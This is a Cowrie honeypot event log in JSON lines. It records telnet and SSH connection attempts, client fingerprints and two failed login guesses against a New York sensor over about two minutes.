{"eventid":"cowrie.session.closed","duration":34.328298807144165,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:19.742108Z","src_ip":"128.199.8.54","session":"efebdfd5d107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47682189941406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:21.115026Z","src_ip":"128.199.8.54","session":"031dbf9009b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22046518325806,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:21.358594Z","src_ip":"128.199.8.54","session":"b549049c06fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52786,"dst_ip":"159.203.135.109","dst_port":23,"session":"c188448ca62c","protocol":"telnet","message":"New connection: 45.148.121.166:52786 (159.203.135.109:23) [session: c188448ca62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:23.883871Z"}
{"eventid":"cowrie.session.closed","duration":31.187777280807495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:25.796027Z","src_ip":"45.148.121.166","session":"96a0f53c99df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":55720,"dst_ip":"159.203.135.109","dst_port":23,"session":"a657c1b17032","protocol":"telnet","message":"New connection: 45.148.121.166:55720 (159.203.135.109:23) [session: a657c1b17032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:27.723219Z"}
{"eventid":"cowrie.session.closed","duration":31.106481552124023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:29.581193Z","src_ip":"45.148.121.166","session":"614a409fdafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":55734,"dst_ip":"159.203.135.109","dst_port":23,"session":"000144b213ef","protocol":"telnet","message":"New connection: 45.148.121.166:55734 (159.203.135.109:23) [session: 000144b213ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:29.865978Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53144,"dst_ip":"159.203.135.109","dst_port":23,"session":"5392409680fc","protocol":"telnet","message":"New connection: 128.199.8.54:53144 (159.203.135.109:23) [session: 5392409680fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:32.507718Z"}
{"eventid":"cowrie.session.closed","duration":30.545254230499268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:33.280263Z","src_ip":"45.148.121.166","session":"67aca3766861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55152,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b69677477cb","protocol":"telnet","message":"New connection: 128.199.8.54:55152 (159.203.135.109:23) [session: 3b69677477cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:34.534605Z"}
{"eventid":"cowrie.session.closed","duration":31.371843814849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:34.606840Z","src_ip":"45.148.121.166","session":"d4f72dd438e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58992,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d69555771b","protocol":"telnet","message":"New connection: 128.199.8.54:58992 (159.203.135.109:23) [session: 73d69555771b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:36.551502Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47662,"dst_ip":"159.203.135.109","dst_port":23,"session":"acc546230fc5","protocol":"telnet","message":"New connection: 45.148.121.166:47662 (159.203.135.109:23) [session: acc546230fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:39.459202Z"}
{"eventid":"cowrie.session.closed","duration":34.512534379959106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:41.253476Z","src_ip":"128.199.8.54","session":"5f73d6eac3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97745394706726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:46.169562Z","src_ip":"45.148.121.166","session":"507a8fd3437b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55203652381897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:47.968957Z","src_ip":"45.148.121.166","session":"daaca215173d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56872,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c08f83b53e","protocol":"telnet","message":"New connection: 128.199.8.54:56872 (159.203.135.109:23) [session: 53c08f83b53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:48.868921Z"}
{"eventid":"cowrie.session.closed","duration":35.09902262687683,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:51.580036Z","src_ip":"128.199.8.54","session":"904ab277c59e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.385860681533813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:54.269589Z","src_ip":"45.148.121.166","session":"c188448ca62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44950,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf380aeb402","protocol":"telnet","message":"New connection: 128.199.8.54:44950 (159.203.135.109:23) [session: ebf380aeb402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:57.014045Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46930,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b302b28c6f","protocol":"telnet","message":"New connection: 128.199.8.54:46930 (159.203.135.109:23) [session: b9b302b28c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:58.917376Z"}
{"eventid":"cowrie.session.closed","duration":31.359325408935547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:59.082428Z","src_ip":"45.148.121.166","session":"a657c1b17032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179508209228516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:00.045363Z","src_ip":"45.148.121.166","session":"000144b213ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":46590,"dst_ip":"159.203.135.109","dst_port":23,"session":"36117215f847","protocol":"telnet","message":"New connection: 45.148.121.166:46590 (159.203.135.109:23) [session: 36117215f847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:01.904008Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a04aa1c5c9","protocol":"telnet","message":"New connection: 128.199.8.54:58062 (159.203.135.109:23) [session: d2a04aa1c5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:04.635847Z"}
{"eventid":"cowrie.session.closed","duration":32.77355885505676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:07.308024Z","src_ip":"128.199.8.54","session":"3b69677477cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.29290795326233,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:08.800490Z","src_ip":"128.199.8.54","session":"5392409680fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75798463821411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:10.217091Z","src_ip":"45.148.121.166","session":"acc546230fc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11064553260803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:10.662047Z","src_ip":"128.199.8.54","session":"73d69555771b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53100,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a28f57b8751","protocol":"telnet","message":"New connection: 45.148.121.166:53100 (159.203.135.109:23) [session: 7a28f57b8751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:17.024018Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48966,"dst_ip":"10.17.0.5","dst_port":22,"session":"0741fcd17693","protocol":"ssh","message":"New connection: 103.15.226.202:48966 (10.17.0.5:22) [session: 0741fcd17693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:18.501713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:18.505671Z","src_ip":"103.15.226.202","session":"0741fcd17693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53110,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd31b840f163","protocol":"telnet","message":"New connection: 45.148.121.166:53110 (159.203.135.109:23) [session: bd31b840f163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:18.636668Z"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:18.753945Z","src_ip":"103.15.226.202","session":"0741fcd17693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:19.501202Z","src_ip":"103.15.226.202","session":"0741fcd17693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:20.753294Z","src_ip":"103.15.226.202","session":"0741fcd17693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.867467403411865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:23.736189Z","src_ip":"128.199.8.54","session":"53c08f83b53e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50654,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c9eee3f6837","protocol":"ssh","message":"New connection: 194.59.206.2:50654 (10.17.0.5:22) [session: 8c9eee3f6837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:24.272690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:24.278111Z","src_ip":"194.59.206.2","session":"8c9eee3f6837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:24.384596Z","src_ip":"194.59.206.2","session":"8c9eee3f6837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:24.477035Z","src_ip":"194.59.206.2","session":"8c9eee3f6837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57708,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d39a6ff9707","protocol":"telnet","message":"New connection: 128.199.8.54:57708 (159.203.135.109:23) [session: 1d39a6ff9707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:31.752737Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47596,"dst_ip":"159.203.135.109","dst_port":23,"session":"e54b770b96bd","protocol":"telnet","message":"New connection: 45.148.121.166:47596 (159.203.135.109:23) [session: e54b770b96bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:32.091994Z"}
{"eventid":"cowrie.session.closed","duration":35.2025191783905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:32.216476Z","src_ip":"128.199.8.54","session":"ebf380aeb402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.323092937469482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:32.226968Z","src_ip":"45.148.121.166","session":"36117215f847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59768,"dst_ip":"159.203.135.109","dst_port":23,"session":"166c1abecea8","protocol":"telnet","message":"New connection: 128.199.8.54:59768 (159.203.135.109:23) [session: 166c1abecea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:32.757314Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60820,"dst_ip":"159.203.135.109","dst_port":23,"session":"50660a0f9e21","protocol":"telnet","message":"New connection: 128.199.8.54:60820 (159.203.135.109:23) [session: 50660a0f9e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:33.270606Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47612,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a571185c55f","protocol":"telnet","message":"New connection: 45.148.121.166:47612 (159.203.135.109:23) [session: 8a571185c55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:33.830780Z"}
{"eventid":"cowrie.session.closed","duration":35.909226417541504,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:34.826509Z","src_ip":"128.199.8.54","session":"b9b302b28c6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36042,"dst_ip":"159.203.135.109","dst_port":23,"session":"f85f8a3b4100","protocol":"telnet","message":"New connection: 128.199.8.54:36042 (159.203.135.109:23) [session: f85f8a3b4100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:34.944074Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38492,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a1e745c6ef1","protocol":"telnet","message":"New connection: 128.199.8.54:38492 (159.203.135.109:23) [session: 4a1e745c6ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:36.222062Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38156,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d212ff6e6b","protocol":"telnet","message":"New connection: 128.199.8.54:38156 (159.203.135.109:23) [session: e1d212ff6e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:37.049857Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.183.42.134","src_port":28154,"dst_ip":"10.17.0.5","dst_port":23,"session":"6302736544c3","protocol":"telnet","message":"New connection: 122.183.42.134:28154 (10.17.0.5:23) [session: 6302736544c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:37.593320Z"}
{"eventid":"cowrie.session.closed","duration":33.66681218147278,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:38.302543Z","src_ip":"128.199.8.54","session":"d2a04aa1c5c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":43062,"dst_ip":"159.203.135.109","dst_port":23,"session":"3230577afce4","protocol":"telnet","message":"New connection: 45.148.121.166:43062 (159.203.135.109:23) [session: 3230577afce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:38.321908Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e3f2c0ef2aa","protocol":"telnet","message":"New connection: 128.199.8.54:54756 (159.203.135.109:23) [session: 9e3f2c0ef2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:44.186360Z"}
{"eventid":"cowrie.session.closed","duration":31.326212644577026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:48.350106Z","src_ip":"45.148.121.166","session":"7a28f57b8751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.880195379257202,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:50.473390Z","src_ip":"122.183.42.134","session":"6302736544c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.998923778533936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:50.635470Z","src_ip":"45.148.121.166","session":"bd31b840f163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":43790,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0236928847","protocol":"telnet","message":"New connection: 45.148.121.166:43790 (159.203.135.109:23) [session: 1b0236928847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:51.842860Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48134,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebbc8c0c5836","protocol":"ssh","message":"New connection: 80.94.92.186:48134 (159.203.135.109:22) [session: ebbc8c0c5836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:52.293372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:52.332740Z","src_ip":"80.94.92.186","session":"ebbc8c0c5836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:52.469805Z","src_ip":"80.94.92.186","session":"ebbc8c0c5836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:53.250242Z","src_ip":"80.94.92.186","session":"ebbc8c0c5836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:54.475806Z","src_ip":"80.94.92.186","session":"ebbc8c0c5836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54916,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb7aff77bfb9","protocol":"telnet","message":"New connection: 128.199.8.54:54916 (159.203.135.109:23) [session: fb7aff77bfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:13:58.157120Z"}
